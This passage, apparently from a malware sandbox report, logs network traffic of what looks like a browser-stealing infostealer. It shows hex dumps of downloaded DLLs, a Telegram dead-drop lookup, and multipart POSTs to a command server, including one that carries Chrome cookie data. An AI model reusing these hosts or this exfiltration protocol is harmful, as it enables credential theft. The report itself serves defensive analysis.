00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:43 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:43 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:43 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:52 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 19:13:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "670432cc-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cb 32 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 de f6 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d8 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 70 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=4b79d08fe1606d63f3_1600165260532006391
Source: global traffic	HTTP traffic detected: GET /ldms/offers.txt HTTP/1.1Host: 147.45.44.104Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: kasm.zubairgul.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 44 37 34 42 42 42 44 43 42 38 33 39 34 36 30 39 38 34 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"33D74BBBDCB83946098432-a33c7340-61ca------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFHDAKJKFCFBGCBGDHCB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGIHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="mode"1------EBFBKFBGIIIDGDGCFCGI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="mode"2------CBKFIECBGDHJKECAKFBG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: kasm.zubairgul.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="mode"21------BKJEGDGIJECGCBGCGHDG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCHost: kasm.zubairgul.comContent-Length: 5645Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: kasm.zubairgul.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 